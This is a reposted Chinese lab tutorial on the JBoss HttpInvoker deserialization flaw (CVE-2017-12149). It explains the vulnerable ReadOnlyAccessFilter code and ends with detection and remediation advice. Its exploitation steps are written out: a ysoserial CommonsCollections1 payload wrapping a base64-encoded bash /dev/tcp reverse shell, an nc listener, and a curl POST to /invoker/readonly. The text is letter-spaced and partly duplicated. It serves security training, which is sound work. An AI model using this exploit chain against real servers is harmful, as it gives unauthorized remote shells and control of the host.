搜索

[19228] 2018-02-02_【动手实验】JBoss反序列化漏洞

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-02-02_【动手实验】JBoss反序列化漏洞 【 动 手 实 验 】 J B o s s   反 序 列 化 漏 洞 i 春 秋   2 0 1 8 - 0 2 - 0 2 J B O S S ： 是 一 个 基 于 ： 是 一 个 基 于 J 2 E E 的 开 放 源 代 码 的 应 用 服 务 器 。 的 开 放 源 代 码 的 应 用 服 务 器 。   J B o s s 代 码 遵 循 代 码 遵 循 L G P L 许 可 ， 可 以 在 任 何 商 业 应 用 中 免 费 使 许 可 ， 可 以 在 任 何 商 业 应 用 中 免 费 使 用 。 用 。 J B o s s 是 一 个 管 理 是 一 个 管 理 E J B 的 容 器 和 服 务 器 ， 支 持 的 容 器 和 服 务 器 ， 支 持 E J B   1 . 1 、 、 E J B   2 . 0 和 和 E J B 3 的 规 范 。 但 的 规 范 。 但 J B o s s 核 心 服 务 不 包 括 支 持 核 心 服 务 不 包 括 支 持 s e r v l e t / J S P 的 的 W E B 容 器 ， 一 般 与 容 器 ， 一 般 与 T o m c a t 或 或 J e t t y 绑 定 使 用 。 绑 定 使 用 。 2 0 1 7 年 8 月 3 0 日 ， J B o s s 厂 商 发 布 了 一 个 J B O S S A S   5 . x 的 反 序 列 化 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 7 - 1 2 1 4 9 ） 的 通 告 。 该 漏 洞 位 于 J B o s s 的 H t t p l n v o k e r 组 件 中 的 的 R e a d O n l y A c c e s s F i l t e r 过 滤 器 中 ， 其 d o F i l t e r 方 法 在 没 有 进 行 任 何 安 全 检 查 和 限 制 的 情 况 下 尝 试 将 来 自 客 户 端 的 序 列 化 数 据 流 进 行 反 序 列 化 ， 导 致 恶 意 访 问 者 通 过 精 心 设 计 的 序 列 化 数 据 执 行 任 意 恶 意 代 码 ， 但 近 期 有 安 全 研 究 者 发 现 J B o s s A S   6 . x 也 受 到 该 漏 洞 影 响 ， 恶 意 访 问 者 利 用 该 漏 洞 无 需 用 户 验 证 即 可 获 得 服 务 器 的 控 制 权 。 当 然 该 漏 洞 的 细 节 和 验 证 代 码 已 公 开 ， 为 避 免 造 成 损 失 ， 建 议 及 时 修 复 升 级 至 J B o s s A S   7 版 本 。 今 天 让 小 爱 带 着 大 家 复 现 漏 洞 场 景 ， 分 析 漏 洞 成 因 吧 ~ 实 验 环 境 实 验 环 境 操 作 机 : k a l i   l i n u x   6 4 位 操 作 机 I P ： 1 7 2 . 1 6 . 1 1 . 2 目 标 机 网 站 ： h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 / 请 访 问 h t t p : / / f i l e . i c h u n q i u . c o m / 5 t t 6 u h t g / 本 实 验 仅 做 安 全 漏 洞 研 究 ， 请 勿 对 未 授 权 网 站 进 行 恶 意 破 坏 本 实 验 仅 做 安 全 漏 洞 研 究 ， 请 勿 对 未 授 权 网 站 进 行 恶 意 破 坏 实 验 目 的 实 验 目 的 了 解 J a v a 序 列 化 与 反 序 列 化 的 作 用
理 解 漏 洞 产 生 的 原 因 学 习 命 令 的 编 码 方 式 学 会 反 序 列 化 工 具 的 使 用 清 楚 反 序 列 化 漏 洞 的 防 御 实 验 工 具 实 验 工 具 y s o s e r i a l : 是 一 款 拥 有 多 种 不 同 利 用 库 的 J a v a 反 序 列 化 漏 洞 p a y l o a d 生 成 工 具 ， 能 方 便 的 生 成 命 令 执 行 P a y l o a d 并 序 列 化 。 本 实 验 主 要 使 用 生 成 P a y l o a d 功 能 实 验 内 容 实 验 内 容 J a v a 序 列 化 与 反 序 列 化 序 列 化 与 反 序 列 化 J a v a 序 列 化 ： 把 J a v a 对 象 转 换 为 字 节 序 列 的 过 程 J a v a 反 序 列 化 ： 指 把 字 节 序 列 恢 复 为 J a v a 对 象 的 过 程 作 用 ： 便 于 保 存 数 据 ， 或 者 进 行 数 据 传 输 如 图 所 示 ， J a v a 序 列 化 文 件 文 件 头 对 于 序 列 化 的 标 识 : 常 用 J a v a 序 列 化 与 反 序 列 化 的 方 法 ： 序 列 化 F i l e O u t p u t S t r e a m   f o s   =   n e w   F i l e O u t p u t S t r e a m ( f i l e ) ; O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( f o s ) ; o o s . w r i t e O b j e c t ( s t ) ; 反 序 列 化 F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( f i l e ) ; O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( f i s ) ; S t u d e n t   s t 1   =   ( S t u d e n t ) o i s . r e a d O b j e c t ( ) ; J B o s s 反 序 列 化 漏 洞 分 析 反 序 列 化 漏 洞 分 析 漏 洞 出 现 在   J b o s s   的   H t t p I n v o k e r 组 件 中 的   R e a d O n l y A c c e s s F i l t e r   过 滤 器 中 ， 源 码 在 j b o s s s e r v e r a l l d e p l o y h t t p h a - i n v o k e r . s a r i n v o k e r . w a r W E B - I N F c l a s s e s o r g j b o s s i n v o c a t i o n h t t p s e r v l e t 目 录 下 的 R e a d O n l y A c c e s s F i l t e r . c l a s s 文 件 中 , 其 中 d o F i l t e r 函 数 代 码 如 下 : p u b l i c   v o i d   d o F i l t e r ( S e r v l e t R e q u e s t   r e q u e s t ,   S e r v l e t R e s p o n s e   r e s p o n s e ,   F i l t e r C h a i n   c h a i n )         t h r o w s   I O E x c e p t i o n ,   S e r v l e t E x c e p t i o n     {       H t t p S e r v l e t R e q u e s t   h t t p R e q u e s t   =   ( H t t p S e r v l e t R e q u e s t ) r e q u e s t ;         P r i n c i p a l   u s e r   =   h t t p R e q u e s t . g e t U s e r P r i n c i p a l ( ) ;         i f   ( ( u s e r   = =   n u l l )   & & ( t h i s . r e a d O n l y C o n t e x t   ! =   n u l l ) )         {             S e r v l e t I n p u t S t r e a m   s i s   =   r e q u e s t . g e t I n p u t S t r e a m ( ) ;             O b j e c t I n p u t S t r e a m   o i s   =   n e w O b j e c t I n p u t S t r e a m ( s i s ) ;             M a r s h a l l e d I n v o c a t i o n   m i   =   n u l l ;             t r y             {                 m i   =   ( M a r s h a l l e d I n v o c a t i o n ) o i s . r e a d O b j e c t ( ) ;             }             c a t c h ( C l a s s N o t F o u n d E x c e p t i o n   e )             {                 t h r o w   n e w   S e r v l e t E x c e p t i o n ( " F a i l e d   t o   r e a d   M a r s h a l l e d I n v o c a t i o n " ,   e ) ;             }           r e q u e s t . s e t A t t r i b u t e ( " M a r s h a l l e d I n v o c a t i o n " ,   m i ) ;             m i . s e t M e t h o d M a p ( t h i s . n a m i n g M e t h o d M a p ) ;             M e t h o d   m   =   m i . g e t M e t h o d ( ) ;             i f   ( m ! =   n u l l )   {                 v a l i d a t e A c c e s s ( m ,   m i ) ;             }         }         c h a i n . d o F i l t e r ( r e q u e s t ,   r e s p o n s e ) ;     } 可 以 看 到 其 直 接 从 h t t p 中 获 取 数 据 ， 在 没 有 进 行 检 查 或 者 过 滤 的 情 况 下 ， 尝 试 调 用 r e a d o b j e c t ( ) 方 法 对 数 据 流 进 行 反 序 列 操 作 ， 因 此 产 生 了 J a v a 反 序 列 化 漏 洞 。 影 响 版 本 影 响 版 本 *       J b o s s   A S   5 . x   *       J b o s s A S   6 . x
实 验 步 骤 实 验 步 骤 步 骤 步 骤   1 ： 访 问 目 标 地 址 ： 访 问 目 标 地 址 打 开 桌 面 K a l i 终 端 ， 使 用 命 令 ： f i r e f o x   h t t p : / / f i l e . i c h u n q i u . c o m / 5 t t 6 u h t g / 访 问 并 下 载 实 验 文 件 ， 解 压 至 桌 面 备 用 。 在 浏 览 器 打 开 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 ， 访 问 J B o s s 默 认 页 面 我 们 再 来 访 问 此 次 反 序 列 化 的 漏 洞 页 面 ： h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 / i n v o k e r / r e a d o n l y 由 上 述 反 序 列 化 方 法 可 知 ， 此 处 服 务 器 将 用 户 提 交 的 P O S T 内 容 进 行 了 J a v a 反 序 列 化 接 下 来 ， 我 们 使 用 常 规 J a v a 反 序 列 化 来 验 证 漏 洞
步 骤 步 骤   2 ： 漏 洞 验 证 ： 漏 洞 验 证 本 步 骤 我 们 使 用 工 具 y s o s e r i a l 来 生 成 序 列 化 数 据 ， 构 造 P O C ， 使 用 b a s h 反 弹 S h e l l ， n c 接 受 反 弹 回 来 的 S h e l l 编 码 待 执 行 的 命 令 由 于 工 具 y s o s e r i a l   在 处 理 数 据 时 使 用 了 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( S t r i n g   c m d ) ， 会 调 用 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( S t r i n g c o m m a n d ,   S t r i n g [ ]   e n v p ,   F i l e   d i r ) ， 数 据 会 被 S t r i n g T o k e n i z e r 分 割 ， 源 码 如 下 ： / * *           *   C o n s t r u c t s   a   s t r i n g   t o k e n i z e r   f o r   t h e   s p e c i f i e d   s t r i n g .   T h e           *   t o k e n i z e r   u s e s   t h e   d e f a u l t   d e l i m i t e r   s e t ,   w h i c h   i s           * < c o d e > " & n b s p ; & # 9 2 ; t & # 9 2 ; n & # 9 2 ; r & # 9 2 ; f " < / c o d e > :   t h e   s p a c e   c h a r a c t e r ,           *   t h e   t a b   c h a r a c t e r ,   t h e   n e w l i n e   c h a r a c t e r ,   t h e   c a r r i a g e - r e t u r n c h a r a c t e r ,           *   a n d   t h e   f o r m - f e e d   c h a r a c t e r .   D e l i m i t e r   c h a r a c t e r s   t h e m s e l v e s   w i l l           *   n o t   b e   t r e a t e d   a s   t o k e n s .           *           *   @ p a r a m       s t r       a s t r i n g   t o   b e   p a r s e d .           *   @ e x c e p t i o n   N u l l P o i n t e r E x c e p t i o n   i f   s t r   i s   < C O D E > n u l l < / C O D E >           * /         p u b l i c   S t r i n g T o k e n i z e r ( S t r i n g   s t r )   {               t h i s ( s t r ,   "   t n r f " ,   f a l s e ) ;         } 从 S t r i n g T o k e n i z e r 的 部 分 注 释 和 源 码 和 可 以 看 到 ， S t r i n g T o k e n i z e r 会 对 t n r f 进 行 分 割 ， 因 此 我 们 输 入 的 以 下 命 令 b a s h   - c   ` b a s h   - i   > &   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 2 1   0 > & 1 ` 会 被 分 隔 如 下 命 令 b a s h - c ` b a s h - i > & . . . 导 致 命 令 无 法 执 行 ， 因 此 我 们 需 要 先 将 待 执 行 的 命 令 进 行 一 次 编 码 。 在 线 网 络 打 开 h t t p : / / j a c k s o n . t h u r a i s a m y . m e / r u n t i m e - e x e c - p a y l o a d s . h t m l ， 勾 选 B a s h ， 在 第 一 个 文 本 框 内 输 入 b a s h   - i   > & / d e v / t c p / 1 7 2 . 1 6 . 1 2 . 2 / 6 6 6 6   0 > & 1 ， 下 面 的 文 档 框 会 得 到 对 应 编 码 后 的 代 码 ， 复 制 备 用 。 实 验 环 境 内 的 实 验 文 件 p o c . t x t 存 储 有 编 码 后 的 代 码 L i n u x 下 的 $ { I F S } 也 可 进 行 编 码 , $ { I F S } 的 h e x 值 是 0 x 2 0   0 x 0 9   0 x 0 a ， 因 此 不 被 分 割 ， 可 以 利 用 在 写 s h e l l 时 的 命 令 中 。 需 要 注 意 是 ， $ { I F S } 编 码 后 的 命 令 中 有 空 格 ， 重 定 时 ， 文 件 名 中 有 空 格 会 造 成 命 令 解 析 不 完 整 ， 写 入 文 件 会 失 败 。 而 在 反 弹 s h e l l 命 令 中 ， 就 会 导 致 模 糊 的 重 定 向 错 误 ， 所 以 此 处 仅 作 为 扩 展 内 容 补 充 说 明
构 造 生 成 P a y l o a d y s o s e r i a l 的 用 法 如 下 j a v a   - j a r   y s o s e r i a l . j a r   [ p a y l o a d ]   ' [ c o m m a n d ] ' [ p a y l o a d ]   :   利 用 库 ， 根 据 服 务 器 端 程 序 版 本 不 同 而 不 同 ， 若 如 报 错 ， 可 尝 试 跟 换 其 他 利 用 库 [ c o m m a n d ]   :   待 执 行 的 命 令 本 次 实 验 选 择 C o m m o n s C o l l e c t i o n s 1 利 用 库 在 实 验 文 件 目 录 下 ， 打 开 终 端 ， 执 行 如 下 命 令 j a v a     - j a r     y s o s e r i a l . j a r     C o m m o n s C o l l e c t i o n s 1   " b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x N z I u M T Y u M T E u M i 8 2 N j Y 2 I D A + J j E = } | { b a s e 6 4 , - d } | { b a s h , - i } "   >   p o c . s e r 最 终 输 出 P O C 文 件   p o c . s e r 设 置 n c 本 地 监 听 端 口 6 6 6 6 重 新 打 开 一 个 终 端 ， 执 行 如 下 命 令 ： n c   - l   - p   6 6 6 6
发 送 请 求 ， 获 取 S h e l l 服 务 器 接 收 到 以 P O S T 的 方 式 发 送 的 序 列 化 数 据 ， 会 进 行 反 序 列 化 ， 执 行 其 中 包 含 的 命 令 ， 将 S h e l l 反 弹 至 K a l i 机 器 的 6 6 6 6 端 口 我 们 使 用 c u r l 命 令 发 送 请 求 ， 打 开 命 令 行 ， 执 行 如 下 代 码 ： c u r l   h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 / i n v o k e r / r e a d o n l y   - - d a t a - b i n a r y   @ p o c . s e r S h e l l 弹 回 至 n c 监 听 的 端 口 可 在 S h e l l 中 执 行 相 关 命 令 本 实 验 仅 做 安 全 漏 洞 研 究 ， 请 勿 对 未 授 权 网 站 进 行 恶 意 破 坏 本 实 验 仅 做 安 全 漏 洞 研 究 ， 请 勿 对 未 授 权 网 站 进 行 恶 意 破 坏 实 验 结 果 分 析 与 总 结 实 验 结 果 分 析 与 总 结 对 于 一 个 使 用 了 可 利 用 库 的 J a v a 应 用 ， 可 以 通 过 审 计 查 找 其 中 的 反 序 列 化 方 法 r e a d o b j e c t ( ) 或 者 交 互 式 查 看 流 量 ， 寻 找 是 否 有 序 号 化 数 据 流 ( 以 a c   e d   0 0   0 5 ) 来 查 找 其 输 入 点 ， 再 看 有 没 有 进 行 检 查 或 过 滤 ， 最 后 利 用 工 具 y s o s e r i a l 验 证 是 否 存 在 反 序 列 化 漏
洞 。 修 复 建 议 修 复 建 议 不 需 要   h t t p - i n v o k e r . s a r   组 件 的 用 户 可 直 接 删 除 此 组 件 。 添 加 如 下 代 码 至   h t t p - i n v o k e r . s a r 下   w e b . x m l   的   s e c u r i t y - c o n s t r a i n t   标 签 中 ， 对   h t t p   i n v o k e r   组 件 进 行 访 问 控 制 ： < u r l - p a t t e r n > / * < / u r l - p a t t e r n > 看 完 今 天 的 实 验 流 程 ， 大 家 有 木 有 小 小 的 心 动 呢 ？ 戳 阅 读 原 文 ， 开 始 试 验 吧 戳 阅 读 原 文 ， 开 始 试 验 吧 ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理